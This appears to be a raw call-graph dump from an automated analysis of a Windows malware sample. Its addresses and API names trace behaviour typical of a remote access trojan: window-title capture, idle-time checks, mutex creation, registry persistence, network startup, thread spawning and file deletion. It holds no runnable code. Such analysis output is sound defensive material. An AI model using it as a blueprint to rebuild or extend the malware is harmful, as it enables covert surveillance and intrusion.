53039->52851 53041 401fbd 28 API calls 53040->53041 53042 414d4f SetEvent 53041->53042 53043 414d64 53042->53043 53044 403b60 28 API calls 53043->53044 53045 414d7e 53044->53045 53046 401fbd 28 API calls 53045->53046 53047 414d8e 53046->53047 53048 401fbd 28 API calls 53047->53048 53049 414da0 53048->53049 53050 41b1ce 28 API calls 53049->53050 53051 414da9 53050->53051 53052 414dc9 GetTickCount 53051->53052 53053 414f2b 53051->53053 53118 414f1c 53051->53118 53055 41af51 28 API calls 53052->53055 53116 414f3f 53053->53116 53053->53118 53054 401d8c 26 API calls 53056 4163d6 53054->53056 53057 414ddf 53055->53057 53058 401eea 26 API calls 53056->53058 53119 41aeab GetLastInputInfo GetTickCount 53057->53119 53061 4163e2 53058->53061 53063 401eea 26 API calls 53061->53063 53062 414de6 53064 41af51 28 API calls 53062->53064 53065 4163ee 53063->53065 53066 414df1 53064->53066 53120 41ae5d 53066->53120 53069 41b0d3 28 API calls 53070 414e0d 53069->53070 53071 401d64 28 API calls 53070->53071 53072 414e1b 53071->53072 53073 4027ec 28 API calls 53072->53073 53074 414e29 53073->53074 53075 40275c 28 API calls 53074->53075 53076 414e38 53075->53076 53077 4027cb 28 API calls 53076->53077 53078 414e47 53077->53078 53079 40275c 28 API calls 53078->53079 53080 414e56 53079->53080 53081 4027cb 28 API calls 53080->53081 53082 414e62 53081->53082 53083 40275c 28 API calls 53082->53083 53084 414e6c 53083->53084 53085 404468 60 API calls 53084->53085 53086 414e7b 53085->53086 53087 401eea 26 API calls 53086->53087 53088 414e84 53087->53088 53089 401eea 26 API calls 53088->53089 53090 414e90 53089->53090 53091 401eea 26 API calls 53090->53091 53092 414e9c 53091->53092 53093 401eea 26 API calls 53092->53093 53094 414ea8 53093->53094 53095 401eea 26 API calls 53094->53095 53096 414eb4 53095->53096 53097 401eea 26 API calls 53096->53097 53098 414ec0 53097->53098 53099 401e13 26 API calls 53098->53099 53100 414ecc 53099->53100 53101 401eea 26 API calls 53100->53101 53102 414ed5 53101->53102 53103 401eea 26 API calls 53102->53103 53104 414ede 53103->53104 53105 401d64 28 API calls 53104->53105 53106 414ee9 53105->53106 53125 43a7f7 53106->53125 53109 414f21 53111 401d64 28 API calls 53109->53111 53110 414efb 53112 414f14 53110->53112 53113 414f09 53110->53113 53111->53053 53130 404915 53112->53130 53129 4049ba 81 API calls 53113->53129 53145 404ab1 83 API calls 53116->53145 53117 414f0f 53117->53118 53118->53054 53119->53062 53146 436260 53120->53146 53123 403b40 28 API calls 53124 414dff 53123->53124 53124->53069 53126 43a810 _strftime 53125->53126 53148 439b4e 53126->53148 53129->53117 53131 4049b1 53130->53131 53133 40492a 53130->53133 53131->53118 53132 404933 53134 404987 CreateEventA CreateThread 53132->53134 53133->53132 53133->53134 53135 404942 GetLocalTime 53133->53135 53134->53131 53183 404b1d 53134->53183 53136 41af51 28 API calls 53135->53136 53137 40495b 53136->53137 53182 404c9e 28 API calls 53137->53182 53139 404968 53140 401f66 28 API calls 53139->53140 53141 404977 53140->53141 53142 41a891 79 API calls 53141->53142 53143 40497c 53142->53143 53144 401eea 26 API calls 53143->53144 53144->53134 53145->53117 53147 41ae7c GetForegroundWindow GetWindowTextW 53146->53147 53147->53123 53166 43a755 53148->53166 53150 439b9b 53175 4394ee 38 API calls 3 library calls 53150->53175 53152 439b60 53152->53150 53153 439b75 53152->53153 53165 414ef6 53152->53165 53173 445564 20 API calls __dosmaperr 53153->53173 53155 439b7a 53174 43aa37 26 API calls _Deallocate 53155->53174 53158 439ba7 53159 439bd6 53158->53159 53176 43a79a 42 API calls __Tolower 53158->53176 53162 439c42 53159->53162 53177 43a701 26 API calls 2 library calls 53159->53177 53178 43a701 26 API calls 2 library calls 53162->53178 53163 439d09 _strftime 53163->53165 53179 445564 20 API calls __dosmaperr 53163->53179 53165->53109 53165->53110 53167 43a75a 53166->53167 53168 43a76d 53166->53168 53180 445564 20 API calls __dosmaperr 53167->53180 53168->53152 53170 43a75f 53181 43aa37 26 API calls _Deallocate 53170->53181 53172 43a76a 53172->53152 53173->53155 53174->53165 53175->53158 53176->53158 53177->53162 53178->53163 53179->53165 53180->53170 53181->53172 53182->53139 53186 404b29 101 API calls 53183->53186 53185 404b26 53186->53185 53187->52601 53188->52606 53189->52608 53190 1000c7a7 53191 1000c7be 53190->53191 53195 1000c82c 53190->53195 53191->53195 53202 1000c7e6 GetModuleHandleA 53191->53202 53192 1000c872 53193 1000c835 GetModuleHandleA 53196 1000c83f 53193->53196 53195->53192 53195->53193 53195->53196 53196->53195 53197 1000c85f GetProcAddress 53196->53197 53197->53195 53198 1000c7dd 53198->53195 53198->53196 53199 1000c800 GetProcAddress 53198->53199 53199->53195 53200 1000c80d VirtualProtect 53199->53200 53200->53195 53201 1000c81c VirtualProtect 53200->53201 53201->53195 53203 1000c7ef 53202->53203 53209 1000c82c 53202->53209 53214 1000c803 GetProcAddress 53203->53214 53205 1000c872 53206 1000c835 GetModuleHandleA 53212 1000c83f 53206->53212 53207 1000c7f4 53208 1000c800 GetProcAddress 53207->53208 53207->53209 53208->53209 53210 1000c80d VirtualProtect 53208->53210 53209->53205 53209->53206 53209->53212 53210->53209 53211 1000c81c VirtualProtect 53210->53211 53211->53209 53212->53209 53213 1000c85f GetProcAddress 53212->53213 53213->53209 53215 1000c82c 53214->53215 53216 1000c80d VirtualProtect 53214->53216 53218 1000c872 53215->53218 53219 1000c835 GetModuleHandleA 53215->53219 53216->53215 53217 1000c81c VirtualProtect 53216->53217 53217->53215 53221 1000c83f 53219->53221 53220 1000c85f GetProcAddress 53220->53221 53221->53215 53221->53220 53222 433bc9 53223 433bd5 ___scrt_is_nonwritable_in_current_image 53222->53223 53254 4338be 53223->53254 53225 433bdc 53226 433d2f 53225->53226 53230 433c06 53225->53230 53556 433d4f IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 53226->53556 53228 433d36 53557 4428ce 28 API calls _abort 53228->53557 53240 433c45 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 53230->53240 53550 4436e1 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 53230->53550 53231 433d3c 53558 442880 28 API calls _abort 53231->53558 53234 433c1f 53236 433c25 53234->53236 53551 443685 5 API calls __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 53234->53551 53235 433d44 53238 433ca6 53265 433e69 53238->53265 53240->53238 53552 43f037 38 API calls 3 library calls 53240->53552 53248 433cc8 53248->53228 53249 433ccc 53248->53249 53250 433cd5 53249->53250 53554 442871 28 API calls _abort 53249->53554 53555 433a4d 13 API calls 2 library calls 53250->53555 53253 433cdd 53253->53236 53255 4338c7 53254->53255 53559 434015 IsProcessorFeaturePresent 53255->53559 53257 4338d3 53560 437bfe 10 API calls 3 library calls 53257->53560 53259 4338d8 53260 4338dc 53259->53260 53561 44356e IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 53259->53561 53260->53225 53262 4338e5 53263 4338f3 53262->53263 53562 437c27 8 API calls 3 library calls 53262->53562 53263->53225 53266 436260 ___scrt_fastfail 53265->53266 53267 433e7c GetStartupInfoW 53266->53267 53268 433cac 53267->53268 53269 443632 53268->53269 53563 44dfd9 53269->53563 53271 44363b 53272 433cb5 53271->53272 53567 44e2e3 38 API calls 53271->53567 53274 40d83a 53272->53274 53569 41beee LoadLibraryA GetProcAddress 53274->53569 53276 40d856 GetModuleFileNameW 53574 40e240 53276->53574 53278 40d872 53279 401fbd 28 API calls 53278->53279 53280 40d881 53279->53280 53281 401fbd 28 API calls 53280->53281 53282 40d890 53281->53282 53283 41b1ce 28 API calls 53282->53283 53284 40d899 53283->53284 53589 40e995 53284->53589 53286 40d8a2 53287 401d8c 26 API calls 53286->53287 53288 40d8ab 53287->53288 53289 40d908 53288->53289 53290 40d8be 53288->53290 53292 401d64 28 API calls 53289->53292 53796 40ea5e 111 API calls 53290->53796 53294 40d918 53292->53294 53293 40d8d0 53295 401d64 28 API calls 53293->53295 53296 401d64 28 API calls 53294->53296 53299 40d8dc 53295->53299 53297 40d937 53296->53297 53298 404cbf 28 API calls 53297->53298 53300 40d946 53298->53300 53797 40ea0f 68 API calls 53299->53797 53301 405ce6 28 API calls 53300->53301 53303 40d952 53301->53303 53305 401eef 26 API calls 53303->53305 53304 40d8f7 53798 40e22d 68 API calls 53304->53798 53307 40d95e 53305->53307 53308 401eea 26 API calls 53307->53308 53309 40d967 53308->53309 53311 401eea 26 API calls 53309->53311 53310 401eea 26 API calls 53312 40dd72 53310->53312 53313 40d970 53311->53313 53553 433e9f GetModuleHandleW 53312->53553 53314 401d64 28 API calls 53313->53314 53315 40d979 53314->53315 53316 401ebd 28 API calls 53315->53316 53317 40d984 53316->53317 53318 401d64 28 API calls 53317->53318 53319 40d99d 53318->53319 53320 401d64 28 API calls 53319->53320 53321 40d9b8 53320->53321 53322 40da19 53321->53322 53799 4085b4 53321->53799 53323 401d64 28 API calls 53322->53323 53338 40e20c 53322->53338 53329 40da30 53323->53329 53325 40d9e5 53326 401eef 26 API calls 53325->53326 53327 40d9f1 53326->53327 53328 401eea 26 API calls 53327->53328 53331 40d9fa 53328->53331 53330 40da77 53329->53330 53335 41258f 3 API calls 53329->53335 53593 40bed7 53330->53593 53803 41258f RegOpenKeyExA 53331->53803 53333 40da7d 53334 40d900 53333->53334 53596 41a66e 53333->53596 53334->53310 53340 40da5b 53335->53340 53891 4129da 30 API calls 53338->53891 53339 40da98 53341 40daeb 53339->53341 53613 40697b 53339->53613 53340->53330 53806 4129da 30 API calls 53340->53806 53343 401d64 28 API calls 53341->53343 53346 40daf4 53343->53346 53355 40db00 53346->53355 53356 40db05 53346->53356 53348 40e222 53892 41138d 64 API calls ___scrt_fastfail 53348->53892 53349 40dac1 53353 401d64 28 API calls 53349->53353 53350 40dab7 53807 40699d 30 API calls 53350->53807 53362 40daca 53353->53362 53810 4069ba CreateProcessA CloseHandle CloseHandle ___scrt_fastfail 53355->53810 53360 401d64 28 API calls 53356->53360 53357 40dabc 53808 4064d0 97 API calls 53357->53808 53361 40db0e 53360->53361 53617 41b013 53361->53617 53362->53341 53366 40dae6 53362->53366 53364 40db19 53621 401e18 53364->53621 53809 4064d0 97 API calls 53366->53809 53367 40db24 53369 401e13 26 API calls 53367->53369 53370 40db2d 53369->53370 53371 401d64 28 API calls 53370->53371 53372 40db36 53371->53372 53373 401d64 28 API calls 53372->53373 53374 40db50 53373->53374 53375 401d64 28 API calls 53374->53375 53376 40db6a 53375->53376 53377 401d64 28 API calls 53376->53377 53379 40db83 53377->53379 53378 40dbf0 53381 40dbff 53378->53381 53387 40dd7d ___scrt_fastfail 53378->53387 53379->53378 53380 401d64 28 API calls 53379->53380 53385 40db98 _wcslen 53380->53385 53382 40dc08 53381->53382 53410 40dc84 ___scrt_fastfail 53381->53410 53383 401d64 28 API calls 53382->53383 53384 40dc11 53383->53384 53386 401d64 28 API calls 53384->53386 53385->53378 53389 401d64 28 API calls 53385->53389 53388 40dc23 53386->53388 53870 412735 RegOpenKeyExA 53387->53870 53392 401d64 28 API calls 53388->53392 53390 40dbb3 53389->53390 53393 401d64 28 API calls 53390->53393 53394 40dc35 53392->53394 53395 40dbc8 53393->53395 53397 401d64 28 API calls 53394->53397 53811 40c89e 53395->53811 53396 40ddc2 53398 401d64 28 API calls 53396->53398 53400 40dc5e 53397->53400 53401 40dde9 53398->53401 53406 401d64 28 API calls 53400->53406 53404 401f66 28 API calls 53401->53404 53403 401e18 26 API calls 53405 40dbe7 53403->53405 53407 40ddf8 53404->53407 53408 401e13 26 API calls 53405->53408 53409 40dc6f 53406->53409 53635 4127aa RegCreateKeyA 53407->53635 53408->53378 53868 40bc67 46 API calls _wcslen 53409->53868 53625 41297a 53410->53625 53414 40dc7f 53414->53410 53416 40dd18 53419 401d64 28 API calls 53416->53419 53417 401d64 28 API calls 53418 40de1a 53417->53418 53421 43a7f7 _strftime 42 API calls 53418->53421 53420 40dd2f 53419->53420 53420->53396 53423 40dd43 53420->53423 53422 40de27 53421->53422 53424 40de31 53422->53424 53425 40de54 53422->53425 53426 401d64 28 API calls 53423->53426 53873 41c0bb 87 API calls ___scrt_fastfail 53424->53873 53430 401f66 28 API calls 53425->53430 53427 40dd51 53426->53427 53431 41b013 28 API calls 53427->53431 53429 40de38 CreateThread 53429->53425 54295 41cb7a 10 API calls 53429->54295 53432 40de69 53430->53432 53433 40dd5a 53431->53433 53434 401f66 28 API calls 53432->53434 53869 40e2f1 119 API calls 53433->53869 53436 40de78 53434->53436 53438 41a891 79 API calls 53436->53438 53437 40dd5f 53437->53396 53439 40dd66 53437->53439 53440 40de7d 53438->53440 53439->53334 53441 401d64 28 API calls 53440->53441 53442 40de89 53441->53442 53443 401d64 28 API calls 53442->53443 53444 40de9e 53443->53444 53445 401d64 28 API calls 53444->53445 53446 40debe 53445->53446 53447 43a7f7 _strftime 42 API calls 53446->53447 53448 40decb 53447->53448 53449 401d64 28 API calls 53448->53449 53450 40ded6 53449->53450 53451 401d64 28 API calls 53450->53451 53452 40dee7 53451->53452 53453 401d64 28 API calls 53452->53453 53454 40defc 53453->53454 53455 401d64 28 API calls 53454->53455 53456 40df0d 53455->53456 53457 40df14 StrToIntA 53456->53457 53641 409517 53457->53641 53460 401d64 28 API calls 53461 40df2f 53460->53461 53462 40df74 53461->53462 53463 40df3b 53461->53463 53466 401d64 28 API calls 53462->53466 53874 433818 22 API calls 3 library calls 53463->53874 53465 40df44 53467 401d64 28 API calls 53465->53467 53468 40df84 53466->53468 53469 40df57 53467->53469 53471 40df90 53468->53471 53472 40dfcc 53468->53472 53470 40df5e CreateThread 53469->53470 53470->53462 54299 41931e 109 API calls 2 library calls 53470->54299 53875 433818 22 API calls 3 library calls 53471->53875 53473 401d64 28 API calls 53472->53473 53475 40dfd5 53473->53475 53479 40dfe1 53475->53479 53480 40e03f 53475->53480 53476 40df99 53477 401d64 28 API calls 53476->53477 53478 40dfab 53477->53478 53481 40dfb2 CreateThread 53478->53481 53483 401d64 28 API calls 53479->53483 53482 401d64 28 API calls 53480->53482 53481->53472 54298 41931e 109 API calls 2 library calls 53481->54298 53484 40e048 53482->53484 53485 40dff1 53483->53485 53486 40e054 53484->53486 53487 40e08d 53484->53487 53488 401d64 28 API calls 53485->53488 53490 401d64 28 API calls 53486->53490 53666 41a9ad GetComputerNameExW GetUserNameW 53487->53666 53491 40e006 53488->53491 53493 40e05d 53490->53493 53876 40c854 53491->53876 53497 401d64 28 API calls 53493->53497 53494 401e18 26 API calls 53496 40e0a1 53494->53496 53499 401e13 26 API calls 53496->53499 53500 40e072 53497->53500 53502 40e0aa 53499->53502 53511 43a7f7 _strftime 42 API calls 53500->53511 53501 401e18 26 API calls 53503 40e025 53501->53503 53504 40e0b3 SetProcessDEPPolicy 53502->53504 53505 40e0b6 CreateThread 53502->53505 53508 401e13 26 API calls 53503->53508 53504->53505 53506 40e0d7 53505->53506 53507 40e0cb CreateThread 53505->53507 54267 40e627 53505->54267 53509 40e0e0 CreateThread 53506->53509 53510 40e0ec 53506->53510 53507->53506 54294 41100e 145 API calls 53507->54294 53512 40e02e CreateThread 53508->53512 53509->53510 54296 4115fc 38 API calls ___scrt_fastfail 53509->54296 53514 40e146 53510->53514 53516 401f66 28 API calls 53510->53516 53513 40e07f 53511->53513 53512->53480 54297 40196b 49 API calls _strftime 53512->54297 53887 40b95c 7 API calls 53513->53887 53677 412546 RegOpenKeyExA 53514->53677 53517 40e119 53516->53517 53888 404c9e 28 API calls 53517->53888 53521 40e126 53523 401f66 28 API calls 53521->53523 53522 40e1fd 53688 40cbac 53522->53688 53526 40e135 53523->53526 53525 41b013 28 API calls 53528 40e177 53525->53528 53529 41a891 79 API calls 53526->53529 53680 41265c RegOpenKeyExW 53528->53680 53530 40e13a 53529->53530 53532 401eea 26 API calls 53530->53532 53532->53514 53537 401e13 26 API calls 53540 40e198 53537->53540 53538 40e1c0 DeleteFileW 53539 40e1c7 53538->53539 53538->53540 53542 41b013 28 API calls 53539->53542 53540->53538 53540->53539 53541 40e1ae Sleep 53540->53541 53889 401e07 53541->53889 53544 40e1d7 53542->53544 53685 412a52 RegOpenKeyExW 53544->53685 53547 401e13 26 API calls 53548 40e1f4 53547->53548 53549 401e13 26 API calls 53548->53549 53549->53522 53550->53234 53551->53240 53552->53238 53553->53248 53554->53250 53555->53253 53556->53228 53557->53231 53558->53235 53559->53257 53560->53259 53561->53262 53562->53260 53564 44dfe2 53563->53564 53566 44dfeb 53563->53566 53568 44ded8 51 API calls 4 library calls 53564->53568 53566->53271 53567->53271 53568->53566 53570 41bf2d LoadLibraryA GetProcAddress 53569->53570 53571 41bf1d GetModuleHandleA GetProcAddress 53569->53571 53572 41bf56 32 API calls 53570->53572 53573 41bf46 LoadLibraryA GetProcAddress 53570->53573 53571->53570 53572->53276 53573->53572 53893 41a84a FindResourceA 53574->53893 53577 43aa9c ___crtLCMapStringA 21 API calls 53578 40e26a ctype 53577->53578 53579 401f86 28 API calls 53578->53579 53580 40e285 53579->53580 53581 401eef 26 API calls 53580->53581 53582 40e290 53581->53582 53583 401eea 26 API calls 53582->53583 53584 40e299 53583->53584 53585 43aa9c ___crtLCMapStringA 21 API calls 53584->53585 53586 40e2aa ctype 53585->53586 53896 406052 53586->53896 53588 40e2dd 53588->53278 53590 40e9a2 53589->53590 53592 40e9b2 53590->53592 53899 40200a 26 API calls 53590->53899 53592->53286 53900 401e8f 53593->53900 53595 40bee1 CreateMutexA GetLastError 53595->53333 53902 41b366 53596->53902 53598 41a67c 53906 4125eb RegOpenKeyExA 53598->53906 53601 401eef 26 API calls 53602 41a6aa 53601->53602 53603 401eea 26 API calls 53602->53603 53605 41a6b2 53603->53605 53604 41a705 53604->53339 53605->53604 53606 4125eb 31 API calls 53605->53606 53607 41a6d8 53606->53607 53608 41a6e3 StrToIntA 53607->53608 53609 41a6f1 53608->53609 53610 41a6fa 53608->53610 53911 41c30d 28 API calls 53609->53911 53612 401eea 26 API calls 53610->53612 53612->53604 53614 40698f 53613->53614 53615 41258f 3 API calls 53614->53615 53616 406996 53615->53616 53616->53349 53616->53350 53618 41b027 53617->53618 53619 40b027 28 API calls 53618->53619 53620 41b02f 53619->53620 53620->53364 53622 401e27 53621->53622 53624 401e33 53622->53624 53912 402121 26 API calls 53622->53912 53624->53367 53626 412998 53625->53626 53627 406052 28 API calls 53626->53627 53628 4129ad 53627->53628 53629 401fbd 28 API calls 53628->53629 53630 4129bd 53629->53630 53631 4127aa 29 API calls 53630->53631 53632 4129c7 53631->53632 53633 401eea 26 API calls 53632->53633 53634 4129d4 53633->53634 53634->53416 53636 4127fa 53635->53636 53639 4127c3 53635->53639 53637 401eea 26 API calls 53636->53637 53638 40de0e 53637->53638 53638->53417 53640 4127d5 RegSetValueExA RegCloseKey 53639->53640 53640->53636 53642 409536 _wcslen 53641->53642 53643 409541 53642->53643 53644 409558 53642->53644 53645 40c89e 32 API calls 53643->53645 53646 40c89e 32 API calls 53644->53646 53647 409549 53645->53647 53648 409560 53646->53648 53649 401e18 26 API calls 53647->53649 53650 401e18 26 API calls 53648->53650 53651 409553 53649->53651 53652 40956e 53650->53652 53654 401e13 26 API calls 53651->53654 53653 401e13 26 API calls 53652->53653 53655 409576 53653->53655 53656 4095ad 53654->53656 53928 40856b 28 API calls 53655->53928 53913 409837 53656->53913 53659 409588 53929 4028cf 53659->53929 53662 409593 53663 401e18 26 API calls 53662->53663 53664 40959d 53663->53664 53665 401e13 26 API calls 53664->53665 53665->53651 53667 403b40 28 API calls 53666->53667 53668 41a9fc 53667->53668 54099 403cbb 53668->54099 53670 41aa08 53671 4028cf 28 API calls 53670->53671 53672 41aa12 53671->53672 53673 401e13 26 API calls 53672->53673 53674 41aa1b 53673->53674 53675 401e13 26 API calls 53674->53675 53676 40e096 53675->53676 53676->53494 53678 412567 RegQueryValueExA RegCloseKey 53677->53678 53679 40e15e 53677->53679 53678->53679 53679->53522 53679->53525 53681 4126b5 53680->53681 53682 412688 RegQueryValueExW RegCloseKey 53680->53682 53683 403b40 28 API calls 53681->53683 53682->53681 53684 40e18d 53683->53684 53684->53537 53686 412a6a RegDeleteValueW 53685->53686 53687 40e1ea 53685->53687 53686->53687 53687->53547 53689 40cbc5 53688->53689 53690 412546 3 API calls 53689->53690 53691 40cbcc 53690->53691 53695 40cbeb 53691->53695 54113 401602 53691->54113 53693 40cbd9 54116 4128ad RegCreateKeyA 53693->54116 53696 40cc37 53695->53696 53697 40cc4b 53696->53697 53698 412546 3 API calls 53697->53698 53699 40cc52 53698->53699 53700 40cc81 53699->53700 53701 40cc57 53699->53701 53704 41258f 3 API calls 53700->53704 53702 401602 27 API calls 53701->53702 53703 40cc5e 53702->53703 54133 43eadd 53703->54133 53706 40cc7f 53704->53706 53711 4140ac 53706->53711 53709 40cc6a 53710 4128ad 3 API calls 53709->53710 53710->53706 53712 4140c3 53711->53712 54170 41ac7e 53712->54170 53714 4140ce 53715 401d64 28 API calls 53714->53715 53716 4140e7 53715->53716 53717 43a7f7 _strftime 42 API calls 53716->53717 53718 4140f4 53717->53718 53719 414106 53718->53719 53720 4140f9 Sleep 53718->53720 53721 401f66 28 API calls 53719->53721 53720->53719 53722 414115 53721->53722 53723 401d64 28 API calls 53722->53723 53724 414123 53723->53724 53725 401fbd 28 API calls 53724->53725 53726 41412b 53725->53726 53727 41b1ce 28 API calls 53726->53727 53728 414133 53727->53728 54174 404262 WSAStartup 53728->54174 53730 41413d 53731 401d64 28 API calls 53730->53731 53732 414146 53731->53732 53733 401d64 28 API calls 53732->53733 53790 4141c5 53732->53790 53734 41415f 53733->53734 53735 401d64 28 API calls 53734->53735 53737 414170 53735->53737 53736 401fbd 28 API calls 53736->53790 53739 401d64 28 API calls 53737->53739 53738 41b1ce 28 API calls 53738->53790 53740 414181 53739->53740 53742 401d64 28 API calls 53740->53742 53741 4085b4 28 API calls 53741->53790 53743 414192 53742->53743 53744 401d64 28 API calls 53743->53744 53746 4141a3 53744->53746 53745 401eef 26 API calls 53745->53790 53747 401d64 28 API calls 53746->53747 53748 4141b5 53747->53748 54202 404101 87 API calls 53748->54202 53750 404cbf 28 API calls 53750->53790 53751 405ce6 28 API calls 53751->53790 53752 401d64 28 API calls 53752->53790 53754 41431c WSAGetLastError 54203 41be81 30 API calls 53754->54203 53756 4041f1 3 API calls 53756->53790 53758 404915 104 API calls 53758->53790 53759 40428c 96 API calls 53759->53790 53760 4047eb 98 API calls 53760->53790 53761 401d64 28 API calls 53763 414c76 53761->53763 53762 401d8c 26 API calls 53762->53790 53763->53761 53764 43a7f7 _strftime 42 API calls 53763->53764 54205 40a767 84 API calls 53763->54205 53765 414d12 Sleep 53764->53765 53765->53790 53766 401f66 28 API calls 53766->53790 53767 41a891 79 API calls 53767->53790 53770 4082dc 28 API calls 53770->53790 53771 440e5e 26 API calls 53771->53790 53772 412735 3 API calls 53772->53790 53773 4125eb 31 API calls 53773->53790 53774 403b40 28 API calls 53774->53790 53776 41b0d3 28 API calls 53776->53790 53778 41aff9 28 API calls 53778->53790 53779 401d64 28 API calls 53780 4145fa GetTickCount 53779->53780 53781 41af51 28 API calls 53780->53781 53781->53790 53783 41af51 28 API calls 53783->53790 53784 41ae5d 30 API calls 53784->53790 53786 4027ec 28 API calls 53786->53790 53787 40275c 28 API calls 53787->53790 53788 4027cb 28 API calls 53788->53790 53789 404468 60 API calls 53789->53790 53790->53736 53790->53738 53790->53741 53790->53745 53790->53750 53790->53751 53790->53752 53790->53754 53790->53756 53790->53758 53790->53759 53790->53760 53790->53762 53790->53763 53790->53766 53790->53767 53790->53770 53790->53771 53790->53772 53790->53773 53790->53774 53790->53776 53790->53778 53790->53779 53790->53783 53790->53784 53790->53786 53790->53787 53790->53788 53790->53789 53791 401eea 26 API calls 53790->53791 53792 4045d5 260 API calls 53790->53792 53794 414cb4 CreateThread 53790->53794 53795 401e13 26 API calls 53790->53795 54175 414072 53790->54175 54180 41ab78 53790->54180 54183 41375b 53790->54183 54186 40cc9a 53790->54186 54192 40cbf1 53790->54192 54198 41aeab GetLastInputInfo GetTickCount 53790->54198 54199 40e751 GetLocaleInfoA 53790->54199 54204 404c9e 28 API calls 53790->54204 53791->53790 53792->53790 53794->53790 54249 41a07f 103 API calls 53794->54249 53795->53790 53796->53293 53797->53304 53800 4085c0 53799->53800 53801 402e78 28 API calls 53800->53801 53802 4085e4 53801->53802 53802->53325 53804 4125e3 53803->53804 53805 4125b9 RegQueryValueExA RegCloseKey 53803->53805 53804->53322 53805->53804 53806->53330 53807->53357 53808->53349 53809->53341 53810->53356 53812 40c8ba 53811->53812 53813 40c8da 53812->53813 53814 40c90f 53812->53814 53815 40c8d0 53812->53815 54261 41a956 29 API calls 53813->54261 53818 41b366 2 API calls 53814->53818 53817 40ca03 GetLongPathNameW 53815->53817 53821 403b40 28 API calls 53817->53821 53819 40c914 53818->53819 53822 40c918 53819->53822 53823 40c96a 53819->53823 53820 40c8e3 53824 401e18 26 API calls 53820->53824 53825 40ca18 53821->53825 53827 403b40 28 API calls 53822->53827 53826 403b40 28 API calls 53823->53826 53828 40c8ed 53824->53828 53829 403b40 28 API calls 53825->53829 53831 40c978 53826->53831 53832 40c926 53827->53832 53834 401e13 26 API calls 53828->53834 53830 40ca27 53829->53830 54250 40cd0a 53830->54250 53837 403b40 28 API calls 53831->53837 53838 403b40 28 API calls 53832->53838 53834->53815 53840 40c98e 53837->53840 53841 40c93c 53838->53841 53839 40ca45 53842 402860 28 API calls 53839->53842 53843 402860 28 API calls 53840->53843 53844 402860 28 API calls 53841->53844 53845 40ca4f 53842->53845 53846 40c999 53843->53846 53847 40c947 53844->53847 53848 401e13 26 API calls 53845->53848 53849 401e18 26 API calls 53846->53849 53850 401e18 26 API calls 53847->53850 53851 40ca59 53848->53851 53852 40c9a4 53849->53852 53853 40c952 53850->53853 53854 401e13 26 API calls 53851->53854 53855 401e13 26 API calls 53852->53855 53856 401e13 26 API calls 53853->53856 53857 40ca62 53854->53857 53858 40c9ad 53855->53858 53859 40c95b 53856->53859 53860 401e13 26 API calls 53857->53860 53861 401e13 26 API calls 53858->53861 53862 401e13 26 API calls 53859->53862 53863 40ca6b 53860->53863 53861->53828 53862->53828 53864 401e13 26 API calls 53863->53864 53865 40ca74 53864->53865 53866 401e13 26 API calls 53865->53866 53867 40ca7d 53866->53867 53867->53403 53868->53414 53869->53437 53871 41275b RegQueryValueExA RegCloseKey 53870->53871 53872 41277f 53870->53872 53871->53872 53872->53396 53873->53429 53874->53465 53875->53476 53877 401f66 28 API calls 53876->53877 53878 40c86b 53877->53878 53879 41b013 28 API calls 53878->53879 53880 40c876 53879->53880 53881 40c89e 32 API calls 53880->53881 53882 40c887 53881->53882 53883 401e13 26 API calls 53882->53883 53884 40c890 53883->53884 53885 401eea 26 API calls 53884->53885 53886 40c898 53885->53886 53886->53501 53887->53487 53888->53521 53890 401e0c 53889->53890 53891->53348 53894 41a867 LoadResource LockResource SizeofResource 53893->53894 53895 40e25b 53893->53895 53894->53895 53895->53577 53897 401f86 28 API calls 53896->53897 53898 406066 53897->53898 53898->53588 53899->53592 53901 401e94 53900->53901 53903 41b373 GetCurrentProcess IsWow64Process 53902->53903 53904 41b38e 53902->53904 53903->53904 53905 41b38a 53903->53905 53904->53598 53905->53598 53907 412619 RegQueryValueExA RegCloseKey 53906->53907 53908 412641 53906->53908 53907->53908 53909 401f66 28 API calls 53908->53909 53910 412656 53909->53910 53910->53601 53911->53610 53912->53624 53914 409855 53913->53914 53915 41258f 3 API calls 53914->53915 53916 40985c 53915->53916 53917 409870 53916->53917 53918 40988a 53916->53918 53919 4095cf 53917->53919 53920 409875 53917->53920 53932 4082dc 53918->53932 53919->53460 53922 4082dc 28 API calls 53920->53922 53924 409883 53922->53924 53958 409959 29 API calls 53924->53958 53927 409888 53927->53919 53928->53659 54090 402d8b 53929->54090 53931 4028dd 53931->53662 53933 4082eb 53932->53933 53959 408431 53933->53959 53935 408309 53936 4098a5 53935->53936 53964 40affa 53936->53964 53939 4098f6 53942 401f66 28 API calls 53939->53942 53940 4098ce 53941 401f66 28 API calls 53940->53941 53943 4098d8 53941->53943 53944 409901 53942->53944 53945 41b013 28 API calls 53943->53945 53946 401f66 28 API calls 53944->53946 53947 4098e6 53945->53947 53948 409910 53946->53948 53968 40a876 31 API calls ___crtLCMapStringA 53947->53968 53949 41a891 79 API calls 53948->53949 53951 409915 CreateThread 53949->53951 53953 409930 CreateThread 53951->53953 53954 40993c CreateThread 53951->53954 53969 4099a9 53951->53969 53952 4098ed 53955 401eea 26 API calls 53952->53955 53953->53954 53975 409993 53953->53975 53956 401e13 26 API calls 53954->53956 53972 4099b5 53954->53972 53955->53939 53957 409950 53956->53957 53957->53919 53958->53927 54089 40999f 135 API calls 53958->54089 53960 40843d 53959->53960 53962 40845b 53960->53962 53963 402f0d 28 API calls 53960->53963 53962->53935 53963->53962 53965 40b006 53964->53965 53966 4098c3 53965->53966 53967 403b9e 28 API calls 53965->53967 53966->53939 53966->53940 53967->53966 53968->53952 53978 409e48 53969->53978 54035 40a3f4 53972->54035 54072 4099e4 53975->54072 53979 409e5d Sleep 53978->53979 53998 409d97 53979->53998 53981 4099b2 53982 409e9d CreateDirectoryW 53987 409e6f 53982->53987 53983 409eae GetFileAttributesW 53983->53987 53984 401d64 28 API calls 53984->53987 53985 409ec5 SetFileAttributesW 53985->53987 53987->53979 53987->53981 53987->53982 53987->53983 53987->53984 53987->53985 53996 409f10 53987->53996 54011 41b79a 53987->54011 53988 409f3f PathFileExistsW 53988->53996 53990 401f86 28 API calls 